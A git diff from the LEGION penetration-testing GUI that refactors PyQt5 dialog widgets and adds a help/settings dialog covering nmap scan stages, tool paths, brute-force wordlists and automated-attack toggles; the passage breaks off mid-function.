self.formLayout.addWidget(self.grpEasyMode) + self.formLayout.addItem(self.spacer2) + self.formLayout.addWidget(self.grpScanTiming) + self.formLayout.addItem(self.spacer3_5) + self.formLayout.addWidget(self.grpScanOpt) + self.formLayout.addItem(self.spacer3) + self.formLayout.addWidget(self.grpScanOptPing) + self.formLayout.addWidget(self.scanOptCustomGroup) + self.formLayout.addItem(self.spacer4) + self.formLayout.addLayout(self.hlayout2) + self.setLayout(self.formLayout) + + + easyModeControls = [self.grpEasyMode] + hardModeControls = [self.grpScanOpt, self.grpScanOptPing, self.scanOptCustomGroup] + + self.rdoModeOptHard.clicked.connect(lambda: flipState(targetState = self.rdoModeOptHard.isChecked(), widgetsToFlipOn = hardModeControls, widgetsToFlipOff = easyModeControls)) + self.rdoModeOptEasy.clicked.connect(lambda: flipState(targetState = self.rdoModeOptEasy.isChecked(), widgetsToFlipOn = easyModeControls, widgetsToFlipOff = hardModeControls)) diff --git a/ui/ancillaryDialog.py b/ui/ancillaryDialog.py new file mode 100644 index 00000000..474bb50f --- /dev/null +++ b/ui/ancillaryDialog.py @@ -0,0 +1,125 @@ +#!/usr/bin/env python + +''' +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +import os +from PyQt5.QtGui import * # for filters dialog +from PyQt5.QtWidgets import * +from PyQt5 import QtWidgets, QtGui +from app.auxiliary import * # for timestamps +from six import u as unicode + +def flipState(targetState, widgetsToFlipOn, widgetsToFlipOff): + for widgetToFlipOn in widgetsToFlipOn: + widgetToFlipOn.setEnabled(targetState) + for widgetToFlipOff in widgetsToFlipOff: + widgetToFlipOff.setEnabled(not targetState) + +# Progress bar primative +class ProgressWidget(QtWidgets.QDialog): + def __init__(self, text, parent=None): + QtWidgets.QDialog.__init__(self, parent) + self.text = text + self.setWindowTitle(text) + self.setupLayout() + + def setupLayout(self): + self.setWindowModality(True) + vbox = QtWidgets.QVBoxLayout() + self.label = QtWidgets.QLabel('') + self.progressBar = QtWidgets.QProgressBar() + vbox.addWidget(self.label) + vbox.addWidget(self.progressBar) + hbox = QtWidgets.QHBoxLayout() + hbox.addStretch(1) + vbox.addLayout(hbox) + self.setLayout(vbox) + + def setProgress(self, progress): + self.progressBar.setValue(progress) + + def setText(self, text): + self.text = text + self.setWindowTitle(text) + + def reset(self, text): + self.text = text + self.setWindowTitle(text) + self.setProgress(0) + +# Image display primative +class ImageViewer(QtWidgets.QWidget): + def __init__(self, parent=None): + QtWidgets.QWidget.__init__(self, parent) + + self.scaleFactor = 0.0 + + self.imageLabel = QtWidgets.QLabel() + self.imageLabel.setBackgroundRole(QtGui.QPalette.Base) + self.imageLabel.setSizePolicy(QtWidgets.QSizePolicy.Ignored, QtWidgets.QSizePolicy.Ignored) + self.imageLabel.setScaledContents(True) + + self.scrollArea = QtWidgets.QScrollArea() + self.scrollArea.setBackgroundRole(QtGui.QPalette.Dark) + self.scrollArea.setWidget(self.imageLabel) + + def open(self, fileName): + if fileName: + image = QtGui.QImage(fileName) + if image.isNull(): + QtWidgets.QMessageBox.information(self, "Image Viewer","Cannot load %s." % fileName) + return + + self.imageLabel.setPixmap(QtGui.QPixmap.fromImage(image)) + self.scaleFactor = 1.0 + self.fitToWindow() + + def zoomIn(self): + self.scaleImage(1.25) + + def zoomOut(self): + self.scaleImage(0.8) + + def normalSize(self): + self.fitToWindow(False) + self.imageLabel.adjustSize() + self.scaleFactor = 1.0 + + def fitToWindow(self, fit=True): + self.scrollArea.setWidgetResizable(fit) + + def scaleImage(self, factor): + self.fitToWindow(False) + self.scaleFactor *= factor + self.imageLabel.resize(self.scaleFactor * self.imageLabel.pixmap().size()) + + self.adjustScrollBar(self.scrollArea.horizontalScrollBar(), factor) + self.adjustScrollBar(self.scrollArea.verticalScrollBar(), factor) + + def adjustScrollBar(self, scrollBar, factor): + scrollBar.setValue(int(factor * scrollBar.value() + ((factor - 1) * scrollBar.pageStep()/2))) + +# Gif and supported video display primative +class ImagePlayer(QtWidgets.QWidget): + def __init__(self, filename, parent=None): + QtWidgets.QWidget.__init__(self, parent) + self.movie = QtGui.QMovie(filename) + self.movie_screen = QtWidgets.QLabel() + self.movie_screen.setSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) + main_layout = QtWidgets.QVBoxLayout() + main_layout.addWidget(self.movie_screen) + self.setLayout(main_layout) + self.movie.setCacheMode(QtGui.QMovie.CacheAll) + self.movie.setSpeed(100) + self.movie_screen.setMovie(self.movie) + self.movie.start() + self.show() diff --git a/ui/dialogs.py b/ui/dialogs.py index c9caa669..1117596e 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -18,167 +18,6 @@ from app.auxiliary import * # for timestamps from six import u as unicode -# progress bar widget that displayed when long operations are taking place (eg: nmap, opening project) -class ProgressWidget(QtWidgets.QDialog): - def __init__(self, text, parent=None): - QtWidgets.QDialog.__init__(self, parent) - self.text = text - self.setWindowTitle(text) - self.setupLayout() - - def setupLayout(self): - self.setWindowModality(True) - vbox = QtWidgets.QVBoxLayout() - self.label = QtWidgets.QLabel('') - self.progressBar = QtWidgets.QProgressBar() - vbox.addWidget(self.label) - vbox.addWidget(self.progressBar) - hbox = QtWidgets.QHBoxLayout() - hbox.addStretch(1) - vbox.addLayout(hbox) - self.setLayout(vbox) - - def setProgress(self, progress): - self.progressBar.setValue(progress) - - def setText(self, text): - self.text = text - self.setWindowTitle(text) - - def reset(self, text): - self.text = text - self.setWindowTitle(text) - self.setProgress(0) - -# this class is used to display screenshots and perform zoom operations on the images -class ImageViewer(QtWidgets.QWidget): - def __init__(self, parent=None): - QtWidgets.QWidget.__init__(self, parent) - - self.scaleFactor = 0.0 - - self.imageLabel = QtWidgets.QLabel() - self.imageLabel.setBackgroundRole(QtGui.QPalette.Base) - self.imageLabel.setSizePolicy(QtWidgets.QSizePolicy.Ignored, QtWidgets.QSizePolicy.Ignored) - self.imageLabel.setScaledContents(True) - - self.scrollArea = QtWidgets.QScrollArea() - self.scrollArea.setBackgroundRole(QtGui.QPalette.Dark) - self.scrollArea.setWidget(self.imageLabel) - - def open(self, fileName): - if fileName: - image = QtGui.QImage(fileName) - if image.isNull(): - QtWidgets.QMessageBox.information(self, "Image Viewer","Cannot load %s." % fileName) - return - - self.imageLabel.setPixmap(QtGui.QPixmap.fromImage(image)) - self.scaleFactor = 1.0 - self.fitToWindow() # by default, fit to window/widget size - - def zoomIn(self): - self.scaleImage(1.25) - - def zoomOut(self): - self.scaleImage(0.8) - - def normalSize(self): - self.fitToWindow(False) - self.imageLabel.adjustSize() - self.scaleFactor = 1.0 - - def fitToWindow(self, fit=True): - self.scrollArea.setWidgetResizable(fit) - - def scaleImage(self, factor): - self.fitToWindow(False) - self.scaleFactor *= factor - self.imageLabel.resize(self.scaleFactor * self.imageLabel.pixmap().size()) - - self.adjustScrollBar(self.scrollArea.horizontalScrollBar(), factor) - self.adjustScrollBar(self.scrollArea.verticalScrollBar(), factor) - - def adjustScrollBar(self, scrollBar, factor): - scrollBar.setValue(int(factor * scrollBar.value() + ((factor - 1) * scrollBar.pageStep()/2))) - -# this class is used to display the process status GIFs -class ImagePlayer(QtWidgets.QWidget): - def __init__(self, filename, parent=None): - QtWidgets.QWidget.__init__(self, parent) - self.movie = QtGui.QMovie(filename) # load the file into a QMovie - self.movie_screen = QtWidgets.QLabel() - self.movie_screen.setSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) - main_layout = QtWidgets.QVBoxLayout() - main_layout.addWidget(self.movie_screen) - self.setLayout(main_layout) - self.movie.setCacheMode(QtGui.QMovie.CacheAll) - self.movie.setSpeed(100) - self.movie_screen.setMovie(self.movie) - self.movie.start() -# self.show() - -# dialog shown when the user selects "Add host(s)" from the menu -class AddHostsDialog(QtWidgets.QDialog): - def __init__(self, parent=None): - QtWidgets.QDialog.__init__(self, parent) - self.setupLayout() - - def setupLayout(self): - self.setModal(True) - self.setWindowTitle('Add host(s) to scope seperated by semicolons') - self.setFixedSize(340, 210) - - self.flayout = QtWidgets.QVBoxLayout() - - self.label1 = QtWidgets.QLabel(self) - self.label1.setText('IP(s), Range(s), and Host(s)') - self.textinput = QtWidgets.QLineEdit(self) - self.hlayout = QtWidgets.QHBoxLayout() - self.hlayout.addWidget(self.label1) - self.hlayout.addWidget(self.textinput) - - self.label2 = QtWidgets.QLabel(self) - self.label2.setText('Ex: 192.168.1.0/24; 10.10.10.10-20; 1.2.3.4; bing.com') - self.font = QtGui.QFont('Calibri', 10) - self.label2.setFont(self.font) - self.label2.setAlignment(Qt.AlignRight) - self.spacer = QSpacerItem(15,15) - ### - self.validationLabel = QtWidgets.QLabel(self) - self.validationLabel.setText('Invalid input. Please try again!') - self.validationLabel.setStyleSheet('QLabel { color: red }') - ### - self.spacer2 = QSpacerItem(5,5) - - self.discovery = QtWidgets.QCheckBox(self) - self.discovery.setText('Run nmap host discovery') - self.discovery.toggle() # on by default - self.nmap = QtWidgets.QCheckBox(self) - self.nmap.setText('Run staged nmap scan') - self.nmap.toggle() # on by default - - self.cancelButton = QPushButton('Cancel', self) - self.cancelButton.setMaximumSize(110, 30) - self.addButton = QPushButton('Add to scope', self) - self.addButton.setMaximumSize(110, 30) - self.addButton.setDefault(True) - self.hlayout2 = QtWidgets.QHBoxLayout() - self.hlayout2.addWidget(self.cancelButton) - self.hlayout2.addWidget(self.addButton) - self.flayout.addLayout(self.hlayout) - self.flayout.addWidget(self.label2) - ### - self.flayout.addWidget(self.validationLabel) - self.validationLabel.hide() - ### - self.flayout.addItem(self.spacer) - self.flayout.addWidget(self.discovery) - self.flayout.addWidget(self.nmap) - self.flayout.addItem(self.spacer2) - self.flayout.addLayout(self.hlayout2) - self.setLayout(self.flayout) - class BruteWidget(QtWidgets.QWidget): def __init__(self, ip, port, service, settings, parent=None): diff --git a/ui/gui.py b/ui/gui.py index 0c278bfc..244a4860 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -14,6 +14,7 @@ from PyQt5 import QtWidgets, QtGui, QtCore from PyQt5.QtGui import QColor from ui.dialogs import * # for the screenshots (image viewer) +from ui.ancillaryDialog import * from utilities.qtLogging import * import logging @@ -275,11 +276,6 @@ def setupBottomPanel(self): self.BottomTabWidget.addTab(self.ProcessTab, _fromUtf8("")) def setupBottom2Panel(self): - #self.Bottom2TabWidget = QtWidgets.QTabWidget(self.splitter_5) - #self.Bottom2TabWidget.setSizeIncrement(QtCore.QSize(0, 0)) - #self.Bottom2TabWidget.setBaseSize(QtCore.QSize(0, 0)) - #self.Bottom2TabWidget.setObjectName(_fromUtf8("Bottom2TabWidget")) - # Log Tab self.LogTab = QtWidgets.QWidget() self.LogTab.setObjectName(_fromUtf8("LogTab")) @@ -289,19 +285,17 @@ def setupBottom2Panel(self): self.LogOutputTextView.widget.setObjectName(_fromUtf8("LogOutputTextView")) self.LogOutputTextView.widget.setReadOnly(True) self.LogTabLayout.addWidget(self.LogOutputTextView.widget) - #self.Bottom2TabWidget.addTab(self.LogTab, _fromUtf8("")) self.BottomTabWidget.addTab(self.LogTab, _fromUtf8("")) log.addHandler(self.LogOutputTextView) - # Python Tab - self.PythonTab = QtWidgets.QWidget() - self.PythonTab.setObjectName(_fromUtf8("PythonTab")) - self.PythonOutputTextView = QtWidgets.QPlainTextEdit(self.PythonTab) - self.PythonOutputTextView.setReadOnly(False) - self.PythonTabLayout = QtWidgets.QHBoxLayout(self.PythonTab) - self.PythonTabLayout.addWidget(self.PythonOutputTextView) - self.BottomTabWidget.addTab(self.PythonTab, _fromUtf8("")) - #self.Bottom2TabWidget.addTab(self.PythonTab, _fromUtf8("")) + # Python Tab - Disabled until next release + #self.PythonTab = QtWidgets.QWidget() + #self.PythonTab.setObjectName(_fromUtf8("PythonTab")) + #self.PythonOutputTextView = QtWidgets.QPlainTextEdit(self.PythonTab) + #self.PythonOutputTextView.setReadOnly(False) + #self.PythonTabLayout = QtWidgets.QHBoxLayout(self.PythonTab) + #self.PythonTabLayout.addWidget(self.PythonOutputTextView) + #self.BottomTabWidget.addTab(self.PythonTab, _fromUtf8("")) def setupMenuBar(self, MainWindow): self.menubar = QtWidgets.QMenuBar(MainWindow) @@ -373,7 +367,7 @@ def retranslateUi(self, MainWindow): self.MainTabWidget.setTabText(self.MainTabWidget.indexOf(self.BruteTab), QtWidgets.QApplication.translate("MainWindow", "Brute", None)) self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.ProcessTab), QtWidgets.QApplication.translate("MainWindow", "Processes", None)) self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.LogTab), QtWidgets.QApplication.translate("MainWindow", "Log", None)) - self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.PythonTab), QtWidgets.QApplication.translate("MainWindow", "Python", None)) + # self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.PythonTab), QtWidgets.QApplication.translate("MainWindow", "Python", None)) - Disabled until future release self.menuFile.setTitle(QtWidgets.QApplication.translate("MainWindow", "File", None)) #self.menuSettings.setTitle(QtWidgets.QApplication.translate("MainWindow", "Settings", None)) self.menuHelp.setTitle(QtWidgets.QApplication.translate("MainWindow", "Help", None)) diff --git a/ui/helpDialog.py b/ui/helpDialog.py new file mode 100644 index 00000000..5640d427 --- /dev/null +++ b/ui/helpDialog.py @@ -0,0 +1,1543 @@ +#!/usr/bin/env python + +''' +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +import os +from PyQt5.QtGui import * # for filters dialog +from PyQt5.QtWidgets import * +from PyQt5 import QtCore, QtWidgets +from app.auxiliary import * # for timestamps + +class Validate(QtCore.QObject): # used to validate user input on focusOut - more specifically only called to validate tool name in host/port/terminal commands tabs + def eventFilter(self, widget, event): + if event.type() == QtCore.QEvent.FocusOut: # this horrible line is to avoid making the 'AddHelpDialog' class visible from here + widget.parent().parent().parent().parent().parent().parent().validateToolName() + return False + else: + return False # TODO: check this + +# Borrowed this class from https://gist.github.com/LegoStormtroopr/5075267 +# Credit and thanks to LegoStormtoopr (http://www.twitter.com/legostormtroopr) +class HelpTabBarWidget(QtWidgets.QTabBar): + def __init__(self, parent=None, *args, **kwargs): + self.tabSize = QtCore.QSize(kwargs.pop('width',100), kwargs.pop('height',25)) + QtWidgets.QTabBar.__init__(self, parent, *args, **kwargs) + + def paintEvent(self, event): + painter = QtWidgets.QStylePainter(self) + option = QtWidgets.QStyleOptionTab() + + for index in range(self.count()): + self.initStyleOption(option, index) + tabRect = self.tabRect(index) + tabRect.moveLeft(10) + painter.drawControl(QtWidgets.QStyle.CE_TabBarTabShape, option) + painter.drawText(tabRect, QtCore.Qt.AlignVCenter | QtCore.Qt.TextDontClip, self.tabText(index)); + painter.end() + + def tabSizeHint(self,index): + return self.tabSize + +class AddHelpDialog(QtWidgets.QDialog): # dialog shown when the user selects help menu + def __init__(self, parent=None): + QtWidgets.QDialog.__init__(self, parent) + + self.setupLayout() + self.setupConnections() + + self.validationPassed = True # TODO: rethink + self.previousTab = self.helpTabWidget.tabText(self.helpTabWidget.currentIndex()) + + self.validate = Validate() + self.hostActionNameText.installEventFilter(self.validate) + self.portActionNameText.installEventFilter(self.validate) + self.terminalActionNameText.installEventFilter(self.validate) + self.hostTableRow = -1 + self.portTableRow = -1 + self.terminalTableRow = -1 + + # TODO: maybe these shouldn't be hardcoded because the user can change them... rethink this? + self.defaultServicesList = ["mysql-default","mssql-default","ftp-default","postgres-default","oracle-default"] + + def setupConnections(self): + self.browseUsersListButton.clicked.connect(lambda: self.wordlistDialog()) + self.browsePasswordsListButton.clicked.connect(lambda: self.wordlistDialog('Choose password path')) + + self.addToolForHostButton.clicked.connect(self.addToolForHost) + self.removeToolForHostButton.clicked.connect(self.removeToolForHost) + self.addToolButton.clicked.connect(self.addToolForService) + self.removeToolButton.clicked.connect(self.removeToolForService) + self.addToolForTerminalButton.clicked.connect(self.addToolForTerminal) + self.removeToolForTerminalButton.clicked.connect(self.removeToolForTerminal) + + self.addServicesButton.clicked.connect(lambda: self.moveService(self.servicesAllTableWidget, self.servicesActiveTableWidget)) + self.removeServicesButton.clicked.connect(lambda: self.moveService(self.servicesActiveTableWidget, self.servicesAllTableWidget)) + self.addTerminalServiceButton.clicked.connect(lambda: self.moveService(self.terminalServicesAllTable, self.terminalServicesActiveTable)) + self.removeTerminalServiceButton.clicked.connect(lambda: self.moveService(self.terminalServicesActiveTable, self.terminalServicesAllTable)) + + self.toolForHostsTableWidget.clicked.connect(self.updateToolForHostInformation) + self.toolForServiceTableWidget.clicked.connect(self.updateToolForServiceInformation) + self.toolForTerminalTableWidget.clicked.connect(self.updateToolForTerminalInformation) + + self.hostActionNameText.textChanged.connect(lambda: self.realTimeToolNameUpdate(self.toolForHostsTableWidget, self.hostActionNameText.text())) + self.portActionNameText.textChanged.connect(lambda: self.realTimeToolNameUpdate(self.toolForServiceTableWidget, self.portActionNameText.text())) + self.terminalActionNameText.textChanged.connect(lambda: self.realTimeToolNameUpdate(self.toolForTerminalTableWidget, self.terminalActionNameText.text())) + + self.enableAutoAttacks.clicked.connect(lambda: self.enableAutoToolsTab()) + self.checkDefaultCred.clicked.connect(self.toggleDefaultServices) + + self.helpTabWidget.currentChanged.connect(self.switchTabClick) + self.ToolHelpTab.currentChanged.connect(self.switchToolTabClick) + + ##################### ACTION FUNCTIONS (apply / cancel related) ##################### + + def setHelp(self, help): # called by the controller once the config file has been read at start time and also when the cancel button is pressed to forget any changes. + self.help = help + self.resetGui() # clear any changes the user may have made and canceled. + self.populateHelp() # populate the GUI with the new help + + self.hostActionsNumber = 1 # TODO: this is most likely not the best way to do it. we should check if New_Action_1 exists and if so increase the number until it doesn't exist. no need for a self.variable - can be a local one. + self.portActionsNumber = 1 + self.terminalActionsNumber = 1 + + def applyHelp(self): # called when apply button is pressed + if self.validateCurrentTab(self.helpTabWidget.tabText(self.helpTabWidget.currentIndex())): + self.updateHelp() + return True + return False + + def updateHelp(self): # updates the local help object (must be called when applying help and only after validation succeeded) + # LEO: reorganised stuff in a more logical way but no changes were made yet :) + # update GENERAL tab help + self.help.general_default_terminal = str(self.terminalComboBox.currentText()) + self.help.general_max_fast_processes = str(self.fastProcessesComboBox.currentText()) + self.help.general_screenshooter_timeout = str(self.screenshotTextinput.text()) + self.help.general_web_services = str(self.webServicesTextinput.text()) + + if self.checkStoreClearPW.isChecked(): + self.help.brute_store_cleartext_passwords_on_exit = 'True' + else: + self.help.brute_store_cleartext_passwords_on_exit = 'False' + + if self.checkBlackBG.isChecked(): + self.help.general_tool_output_black_background = 'True' + else: + self.help.general_tool_output_black_background = 'False' + + # update BRUTE tab help + self.help.brute_username_wordlist_path = str(self.userlistPath.text()) + self.help.brute_password_wordlist_path = str(self.passwordlistPath.text()) + self.help.brute_default_username = str(self.defaultUserText.text()) + self.help.brute_default_password = str(self.defaultPassText.text()) + + # update TOOLS tab help + self.help.tools_nmap_stage1_ports = str(self.stage1Input.text()) + self.help.tools_nmap_stage2_ports = str(self.stage2Input.text()) + self.help.tools_nmap_stage3_ports = str(self.stage3Input.text()) + self.help.tools_nmap_stage4_ports = str(self.stage4Input.text()) + self.help.tools_nmap_stage5_ports = str(self.stage5Input.text()) + + # update AUTOMATED ATTACKS tab help + if self.enableAutoAttacks.isChecked(): + self.help.general_enable_scheduler = 'True' + else: + self.help.general_enable_scheduler = 'False' + + # TODO: seems like all the other help should be updated here as well instead of updating them in the validation function. + + #def initValues(self): # LEO: renamed and changed the previous tabs defaults otherwise validation doesn't work the first time + def resetGui(self): # called when the cancel button is clicked, to initialise everything + self.validationPassed = True + self.previousTab = 'General' + self.previousToolTab = 'Tool Paths' + self.hostTableRow = -1 + self.portTableRow = -1 + self.terminalTableRow = -1 + + self.hostActionNameText.setText('') + self.hostLabelText.setText(' ') + self.hostLabelText.setReadOnly(True) + self.hostCommandText.setText('init value') + + self.portActionNameText.setText('') + self.portLabelText.setText(' ') + self.portLabelText.setReadOnly(True) + self.portCommandText.setText('init value') + + self.terminalActionNameText.setText('') + self.terminalLabelText.setText(' ') + self.terminalLabelText.setReadOnly(True) + self.terminalCommandText.setText('init value') + + # reset layouts + clearLayout(self.scrollVerLayout) + clearLayout(self.defaultBoxVerlayout) + self.terminalComboBox.clear() + + def populateHelp(self): # called by setHelp at start up or when showing the help dialog after a cancel action. it populates the GUI with the controller's help object. + self.populateGeneralTab() # LEO: split it in functions so that it's less confusing and easier to refactor later + self.populateBruteTab() + self.populateToolsTab() + self.populateAutomatedAttacksTab() + + def populateGeneralTab(self): + self.terminalsSupported = ['gnome-terminal','xterm'] + self.terminalComboBox.insertItems(0, self.terminalsSupported) + + self.fastProcessesComboBox.setCurrentIndex(int(self.help.general_max_fast_processes) - 1) + self.screenshotTextinput.setText(str(self.help.general_screenshooter_timeout)) + self.webServicesTextinput.setText(str(self.help.general_web_services)) + + if self.help.general_tool_output_black_background == 'True' and self.checkBlackBG.isChecked() == False: + self.checkBlackBG.toggle() + elif self.help.general_tool_output_black_background == 'False' and self.checkBlackBG.isChecked() == True: + self.checkBlackBG.toggle() + + if self.help.brute_store_cleartext_passwords_on_exit == 'True' and self.checkStoreClearPW.isChecked() == False: + self.checkStoreClearPW.toggle() + elif self.help.brute_store_cleartext_passwords_on_exit == 'False' and self.checkStoreClearPW.isChecked() == True: + self.checkStoreClearPW.toggle() + + def populateBruteTab(self): + self.userlistPath.setText(self.help.brute_username_wordlist_path) + self.passwordlistPath.setText(self.help.brute_password_wordlist_path) + self.defaultUserText.setText(self.help.brute_default_username) + self.defaultPassText.setText(self.help.brute_default_password) + + def populateToolsTab(self): + # POPULATE TOOL PATHS TAB + self.nmapPathInput.setText(self.help.tools_path_nmap) + self.hydraPathInput.setText(self.help.tools_path_hydra) + self.cutycaptPathInput.setText(self.help.tools_path_cutycapt) + self.textEditorPathInput.setText(self.help.tools_path_texteditor) + + # POPULATE STAGED NMAP TAB + self.stage1Input.setText(self.help.tools_nmap_stage1_ports) + self.stage2Input.setText(self.help.tools_nmap_stage2_ports) + self.stage3Input.setText(self.help.tools_nmap_stage3_ports) + self.stage4Input.setText(self.help.tools_nmap_stage4_ports) + self.stage5Input.setText(self.help.tools_nmap_stage5_ports) + + # POPULATE TOOLS TABS (HOST/PORT/TERMINAL) + self.toolForHostsTableWidget.setRowCount(len(self.help.hostActions)) + for row in range(len(self.help.hostActions)): + # add a row to the table + self.toolForHostsTableWidget.setItem(row, 0, QtWidgets.QTableWidgetItem()) + # add the label for the port actions + self.toolForHostsTableWidget.item(row, 0).setText(self.help.hostActions[row][1]) + + self.toolForServiceTableWidget.setRowCount(len(self.help.portActions)) + for row in range(len(self.help.portActions)): + self.toolForServiceTableWidget.setItem(row, 0, QtWidgets.QTableWidgetItem()) + self.toolForServiceTableWidget.item(row, 0).setText(self.help.portActions[row][1]) + + self.servicesAllTableWidget.setRowCount(len(self.help.portActions)) + for row in range(len(self.help.portActions)): + self.servicesAllTableWidget.setItem(row, 0, QtWidgets.QTableWidgetItem()) + self.servicesAllTableWidget.item(row, 0).setText(self.help.portActions[row][3]) + + self.toolForTerminalTableWidget.setRowCount(len(self.help.portTerminalActions)) + for row in range(len(self.help.portTerminalActions)): + # add a row to the table + self.toolForTerminalTableWidget.setItem(row, 0, QtWidgets.QTableWidgetItem()) + # add the label fro the port actions + self.toolForTerminalTableWidget.item(row, 0).setText(self.help.portTerminalActions[row][1]) + self.terminalServicesAllTable.setRowCount(len(self.help.portTerminalActions)) + for row in range(len(self.help.portTerminalActions)): + self.terminalServicesAllTable.setItem(row, 0, QtWidgets.QTableWidgetItem()) + self.terminalServicesAllTable.item(row, 0).setText(self.help.portTerminalActions[row][3]) + + def populateAutomatedAttacksTab(self): # TODO: this one is still to big and ugly. needs work. + self.typeDic = {} + for i in range(len(self.help.portActions)): + # the dictionary contains the name, the text input and the layout for each tool + self.typeDic.update({self.help.portActions[i][1]:[QtWidgets.QLabel(),QtWidgets.QLineEdit(),QtWidgets.QCheckBox(),QtWidgets.QHBoxLayout()]}) + + for keyNum in range(len(self.help.portActions)): + + # populate the automated attacks tools tab with every tool that is not a default creds check + if self.help.portActions[keyNum][1] not in self.defaultServicesList: + + self.typeDic[self.help.portActions[keyNum][1]][0].setText(self.help.portActions[keyNum][1]) + self.typeDic[self.help.portActions[keyNum][1]][0].setFixedWidth(150) + + #if self.help.portActions[keyNum][1] in self.help.automatedAttacks.keys(): + foundToolInAA = False + for t in self.help.automatedAttacks: + if self.help.portActions[keyNum][1] == t[0]: + #self.typeDic[self.help.portActions[keyNum][1]][1].setText(self.help.automatedAttacks[self.help.portActions[keyNum][1]]) + self.typeDic[self.help.portActions[keyNum][1]][1].setText(t[1]) + self.typeDic[self.help.portActions[keyNum][1]][2].toggle() + foundToolInAA = True + break + + if not foundToolInAA: + self.typeDic[self.help.portActions[keyNum][1]][1].setText(self.help.portActions[keyNum][3]) + + self.typeDic[self.help.portActions[keyNum][1]][1].setFixedWidth(300) + self.typeDic[self.help.portActions[keyNum][1]][2].setObjectName(str(self.typeDic[self.help.portActions[keyNum][1]][2])) + self.typeDic[self.help.portActions[keyNum][1]][3].addWidget(self.typeDic[self.help.portActions[keyNum][1]][0]) + self.typeDic[self.help.portActions[keyNum][1]][3].addWidget(self.typeDic[self.help.portActions[keyNum][1]][1]) + self.typeDic[self.help.portActions[keyNum][1]][3].addItem(self.enabledSpacer) + self.typeDic[self.help.portActions[keyNum][1]][3].addWidget(self.typeDic[self.help.portActions[keyNum][1]][2]) + self.scrollVerLayout.addLayout(self.typeDic[self.help.portActions[keyNum][1]][3]) + + else: # populate the automated attacks tools tab with every tool that IS a default creds check + # TODO: i get the feeling we shouldn't be doing this in the else. the else could just skip the default ones and outside of the loop we can go through self.defaultServicesList and take care of these separately. + if self.help.portActions[keyNum][1] == "mysql-default": + self.typeDic[self.help.portActions[keyNum][1]][0].setText('mysql') + elif self.help.portActions[keyNum][1] == "mssql-default": + self.typeDic[self.help.portActions[keyNum][1]][0].setText('mssql') + elif self.help.portActions[keyNum][1] == "ftp-default": + self.typeDic[self.help.portActions[keyNum][1]][0].setText('ftp') + elif self.help.portActions[keyNum][1] == "postgres-default": + self.typeDic[self.help.portActions[keyNum][1]][0].setText('postgres') + elif self.help.portActions[keyNum][1] == "oracle-default": + self.typeDic[self.help.portActions[keyNum][1]][0].setText('oracle') + + self.typeDic[self.help.portActions[keyNum][1]][0].setFixedWidth(150) + self.typeDic[self.help.portActions[keyNum][1]][2].setObjectName(str(self.typeDic[self.help.portActions[keyNum][1]][2])) + self.typeDic[self.help.portActions[keyNum][1]][3].addWidget(self.typeDic[self.help.portActions[keyNum][1]][0]) + self.typeDic[self.help.portActions[keyNum][1]][3].addItem(self.enabledSpacer) + self.typeDic[self.help.portActions[keyNum][1]][3].addWidget(self.typeDic[self.help.portActions[keyNum][1]][2]) + + self.defaultBoxVerlayout.addLayout(self.typeDic[self.help.portActions[keyNum][1]][3]) + + self.scrollArea.setWidget(self.scrollWidget) + self.globVerAutoToolsLayout.addWidget(self.scrollArea) + + ##################### SWITCH TAB FUNCTIONS ##################### + + def switchTabClick(self): # LEO: this function had duplicate code with validateCurrentTab(). so now we call that one. + if self.helpTabWidget.tabText(self.helpTabWidget.currentIndex()) == 'Tools': + self.previousToolTab = self.ToolHelpTab.tabText(self.ToolHelpTab.currentIndex()) + + log.info('previous tab is: ' + str(self.previousTab)) + if self.validateCurrentTab(self.previousTab): # LEO: we don't care about the return value in this case. it's just for debug. + log.info('validation succeeded! switching tab! yay!') + # save the previous tab for the next time we switch tabs. TODO: not sure this should be inside the IF but makes sense to me. no point in saving the previous if there is no change.. + self.previousTab = self.helpTabWidget.tabText(self.helpTabWidget.currentIndex()) + else: + log.info('nope! cannot let you switch tab! you fucked up!') + + def switchToolTabClick(self): # TODO: check for duplicate code. + if self.ToolHelpTab.tabText(self.ToolHelpTab.currentIndex()) == 'Host Commands': + self.toolForHostsTableWidget.selectRow(0) + self.updateToolForHostInformation(False) + + elif self.ToolHelpTab.tabText(self.ToolHelpTab.currentIndex()) == 'Port Commands': + self.toolForServiceTableWidget.selectRow(0) + self.updateToolForServiceInformation(False) + + elif self.ToolHelpTab.tabText(self.ToolHelpTab.currentIndex()) == 'Terminal Commands': + self.toolForTerminalTableWidget.selectRow(0) + self.updateToolForTerminalInformation(False) + + # LEO: I get the feeling the validation part could go into a validateCurrentToolTab() just like in the other switch tab function. + if self.previousToolTab == 'Tool Paths': + if not self.toolPathsValidate(): + self.ToolHelpTab.setCurrentIndex(0) + + elif self.previousToolTab == 'Host Commands': + if not self.validateCommandTabs(self.hostActionNameText, self.hostLabelText, self.hostCommandText): + self.ToolHelpTab.setCurrentIndex(1) + else: + self.updateHostActions() + + elif self.previousToolTab == 'Port Commands': + if not self.validateCommandTabs(self.portActionNameText, self.portLabelText, self.portCommandText): + self.ToolHelpTab.setCurrentIndex(2) + else: + self.updatePortActions() + + elif self.previousToolTab == 'Terminal Commands': + if not 